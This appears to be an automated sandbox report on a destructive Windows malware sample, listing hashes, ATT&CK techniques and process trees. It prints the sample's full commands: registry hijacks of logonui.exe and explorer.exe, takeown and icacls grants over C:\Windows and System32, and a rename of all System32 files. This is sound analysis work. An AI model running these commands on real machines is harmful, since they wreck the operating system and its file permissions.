38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6

General

Target

38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
Size

865KB
MD5

a11969b7f736f7613b76a2def8c51dbc
SHA1

fa055058e2c1db2fb83ec6b7da9f1c41648889e3
SHA256

38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6
SHA512

9ff92c00a0a78786a2222082e3a3452f9d20249844b10cfc774849ad49e56904d9eddb0b3d3b25106bfe741d84fa685b16e15745ba304aaaeb02854bbe3705ec

Score

8^/10

discovery exploit

Malware Config

Signatures

Possible privilege escalation attempt 8 IoCs
exploit

Processes:

icacls.exetakeown.exeicacls.exetakeown.exetakeown.exeicacls.exeicacls.exetakeown.exe

pid process

4388 icacls.exe
4500 takeown.exe
5008 icacls.exe
3460 takeown.exe
4912 takeown.exe
4700 icacls.exe
636 icacls.exe
3568 takeown.exe
Modifies file permissions 1 TTPs 8 IoCs
discovery

File Permissions Modification
T1222

Processes:

takeown.exeicacls.exetakeown.exeicacls.exetakeown.exetakeown.exeicacls.exeicacls.exe

pid process

3568 takeown.exe
4388 icacls.exe
4500 takeown.exe
5008 icacls.exe
3460 takeown.exe
4912 takeown.exe
4700 icacls.exe
636 icacls.exe
Kills process with taskkill 2 IoCs
evasion

Processes:

taskkill.exetaskkill.exe

pid process

5012 taskkill.exe
1072 taskkill.exe
Modifies registry key 1 TTPs 2 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exe

pid process

3180 reg.exe
4400 reg.exe
Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe

pid process

1904 38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe

pid	process
4388	icacls.exe
4500	takeown.exe
5008	icacls.exe
3460	takeown.exe
4912	takeown.exe
4700	icacls.exe
636	icacls.exe
3568	takeown.exe

pid	process
3568	takeown.exe
4388	icacls.exe
4500	takeown.exe
5008	icacls.exe
3460	takeown.exe
4912	takeown.exe
4700	icacls.exe
636	icacls.exe

pid	process
5012	taskkill.exe
1072	taskkill.exe

pid	process
3180	reg.exe
4400	reg.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

takeown.exetakeown.exetaskkill.exetakeown.exetakeown.exetaskkill.exe

description	pid	process
Token: SeTakeOwnershipPrivilege	3568	takeown.exe
Token: SeTakeOwnershipPrivilege	4500	takeown.exe
Token: SeDebugPrivilege	5012	taskkill.exe
Token: SeTakeOwnershipPrivilege	4912	takeown.exe
Token: SeTakeOwnershipPrivilege	3460	takeown.exe
Token: SeDebugPrivilege	1072	taskkill.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe

pid	process
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe

Suspicious use of SendNotifyMessage 5 IoCs

Processes:

38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe

pid	process
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 1904 wrote to memory of 3676	1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 1904 wrote to memory of 3676	1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 1904 wrote to memory of 3676	1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 1904 wrote to memory of 3536	1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 1904 wrote to memory of 3536	1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 1904 wrote to memory of 3536	1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 1904 wrote to memory of 1476	1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 1904 wrote to memory of 1476	1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 1904 wrote to memory of 1476	1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 1904 wrote to memory of 2052	1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 1904 wrote to memory of 2052	1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 1904 wrote to memory of 2052	1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 1904 wrote to memory of 2240	1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 1904 wrote to memory of 2240	1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 1904 wrote to memory of 2240	1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 1904 wrote to memory of 4304	1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 1904 wrote to memory of 4304	1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 1904 wrote to memory of 4304	1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 1904 wrote to memory of 4804	1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 1904 wrote to memory of 4804	1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 1904 wrote to memory of 4804	1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 3676 wrote to memory of 3180	3676	cmd.exe	reg.exe
PID 3676 wrote to memory of 3180	3676	cmd.exe	reg.exe
PID 3676 wrote to memory of 3180	3676	cmd.exe	reg.exe
PID 3536 wrote to memory of 4400	3536	cmd.exe	reg.exe
PID 3536 wrote to memory of 4400	3536	cmd.exe	reg.exe
PID 3536 wrote to memory of 4400	3536	cmd.exe	reg.exe
PID 2052 wrote to memory of 3568	2052	cmd.exe	takeown.exe
PID 2052 wrote to memory of 3568	2052	cmd.exe	takeown.exe
PID 2052 wrote to memory of 3568	2052	cmd.exe	takeown.exe
PID 4804 wrote to memory of 5008	4804	cmd.exe	icacls.exe
PID 4804 wrote to memory of 5008	4804	cmd.exe	icacls.exe
PID 4804 wrote to memory of 5008	4804	cmd.exe	icacls.exe
PID 4304 wrote to memory of 4500	4304	cmd.exe	takeown.exe
PID 4304 wrote to memory of 4500	4304	cmd.exe	takeown.exe
PID 4304 wrote to memory of 4500	4304	cmd.exe	takeown.exe
PID 2240 wrote to memory of 4388	2240	cmd.exe	icacls.exe
PID 2240 wrote to memory of 4388	2240	cmd.exe	icacls.exe
PID 2240 wrote to memory of 4388	2240	cmd.exe	icacls.exe
PID 1476 wrote to memory of 5012	1476	cmd.exe	taskkill.exe
PID 1476 wrote to memory of 5012	1476	cmd.exe	taskkill.exe
PID 1476 wrote to memory of 5012	1476	cmd.exe	taskkill.exe
PID 1904 wrote to memory of 3068	1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 1904 wrote to memory of 3068	1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 1904 wrote to memory of 3068	1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 1904 wrote to memory of 3628	1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 1904 wrote to memory of 3628	1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 1904 wrote to memory of 3628	1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 1904 wrote to memory of 320	1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 1904 wrote to memory of 320	1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 1904 wrote to memory of 320	1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 1904 wrote to memory of 220	1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 1904 wrote to memory of 220	1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 1904 wrote to memory of 220	1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 1904 wrote to memory of 1040	1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 1904 wrote to memory of 1040	1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 1904 wrote to memory of 1040	1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 1904 wrote to memory of 3736	1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 1904 wrote to memory of 3736	1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 1904 wrote to memory of 3736	1904	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 320 wrote to memory of 3460	320	cmd.exe	takeown.exe
PID 320 wrote to memory of 3460	320	cmd.exe	takeown.exe
PID 320 wrote to memory of 3460	320	cmd.exe	takeown.exe
PID 3736 wrote to memory of 4700	3736	cmd.exe	icacls.exe

C:\Users\Admin\AppData\Local\Temp\38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
"C:\Users\Admin\AppData\Local\Temp\38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe"
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1904

C:\Windows\SysWOW64\cmd.exe
cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\logonui.exe /v logon /t REG_SZ /d 'wscript.exe' /f
2⤵
- Suspicious use of WriteProcessMemory
PID:3676

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\logonui.exe /v logon /t REG_SZ /d 'wscript.exe' /f
3⤵
- Modifies registry key
PID:3180

C:\Windows\SysWOW64\cmd.exe
cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe /v explorer /t REG_SZ /d 'wscript.exe' /f
2⤵
- Suspicious use of WriteProcessMemory
PID:3536

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe /v explorer /t REG_SZ /d 'wscript.exe' /f
3⤵
- Modifies registry key
PID:4400

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im explorer.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:1476

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im explorer.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5012

C:\Windows\SysWOW64\cmd.exe
cmd /c icacls C:\Windows\System32 /Grant Users:F
2⤵
- Suspicious use of WriteProcessMemory
PID:2240

C:\Windows\SysWOW64\icacls.exe
icacls C:\Windows\System32 /Grant Users:F
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4388

C:\Windows\SysWOW64\cmd.exe
cmd /c takeown /f C:\Windows\
2⤵
- Suspicious use of WriteProcessMemory
PID:4304

C:\Windows\SysWOW64\takeown.exe
takeown /f C:\Windows\
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:4500

C:\Windows\SysWOW64\cmd.exe
cmd /c icacls C:\Windows\ /Grant Users:F
2⤵
- Suspicious use of WriteProcessMemory
PID:4804

C:\Windows\SysWOW64\icacls.exe
icacls C:\Windows\ /Grant Users:F
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:5008

C:\Windows\SysWOW64\cmd.exe
cmd /c takeown /f C:\Windows\System32\
2⤵
- Suspicious use of WriteProcessMemory
PID:2052

C:\Windows\SysWOW64\cmd.exe
cmd /c ren C:\Windows\system32\*.* *.lolxxd
2⤵
PID:3068

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im explorer.exe
2⤵
PID:3628

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im explorer.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1072

C:\Windows\SysWOW64\cmd.exe
cmd /c takeown /f C:\Windows\System32\
2⤵
- Suspicious use of WriteProcessMemory
PID:320

C:\Windows\SysWOW64\takeown.exe
takeown /f C:\Windows\System32\
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:3460

C:\Windows\SysWOW64\cmd.exe
cmd /c icacls C:\Windows\System32 /Grant Users:F
2⤵
PID:220

C:\Windows\SysWOW64\icacls.exe
icacls C:\Windows\System32 /Grant Users:F
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:636

C:\Windows\SysWOW64\cmd.exe
cmd /c takeown /f C:\Windows\
2⤵
PID:1040

C:\Windows\SysWOW64\takeown.exe
takeown /f C:\Windows\
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:4912

C:\Windows\SysWOW64\cmd.exe
cmd /c icacls C:\Windows\ /Grant Users:F
2⤵
- Suspicious use of WriteProcessMemory
PID:3736

C:\Windows\SysWOW64\icacls.exe
icacls C:\Windows\ /Grant Users:F
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4700

C:\Windows\SysWOW64\cmd.exe
cmd /c ren C:\Windows\system32\*.* *.lolxxd
2⤵
PID:2656

C:\Windows\SysWOW64\takeown.exe
takeown /f C:\Windows\System32\
1⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:3568

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File Permissions Modification

1

T1222

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/220-147-0x0000000000000000-mapping.dmp

Download
memory/320-146-0x0000000000000000-mapping.dmp

Download
memory/636-153-0x0000000000000000-mapping.dmp

Download
memory/1040-148-0x0000000000000000-mapping.dmp

Download
memory/1072-154-0x0000000000000000-mapping.dmp

Download
memory/1476-132-0x0000000000000000-mapping.dmp

Download
memory/2052-133-0x0000000000000000-mapping.dmp

Download
memory/2240-134-0x0000000000000000-mapping.dmp

Download
memory/2656-155-0x0000000000000000-mapping.dmp

Download
memory/3068-144-0x0000000000000000-mapping.dmp

Download
memory/3180-137-0x0000000000000000-mapping.dmp

Download
memory/3460-150-0x0000000000000000-mapping.dmp

Download
memory/3536-131-0x0000000000000000-mapping.dmp

Download
memory/3568-139-0x0000000000000000-mapping.dmp

Download
memory/3628-145-0x0000000000000000-mapping.dmp

Download
memory/3676-130-0x0000000000000000-mapping.dmp

Download
memory/3736-149-0x0000000000000000-mapping.dmp

Download
memory/4304-135-0x0000000000000000-mapping.dmp

Download
memory/4388-142-0x0000000000000000-mapping.dmp

Download
memory/4400-138-0x0000000000000000-mapping.dmp

Download
memory/4500-141-0x0000000000000000-mapping.dmp

Download
memory/4700-151-0x0000000000000000-mapping.dmp

Download
memory/4804-136-0x0000000000000000-mapping.dmp

Download
memory/4912-152-0x0000000000000000-mapping.dmp

Download
memory/5008-140-0x0000000000000000-mapping.dmp

Download
memory/5012-143-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads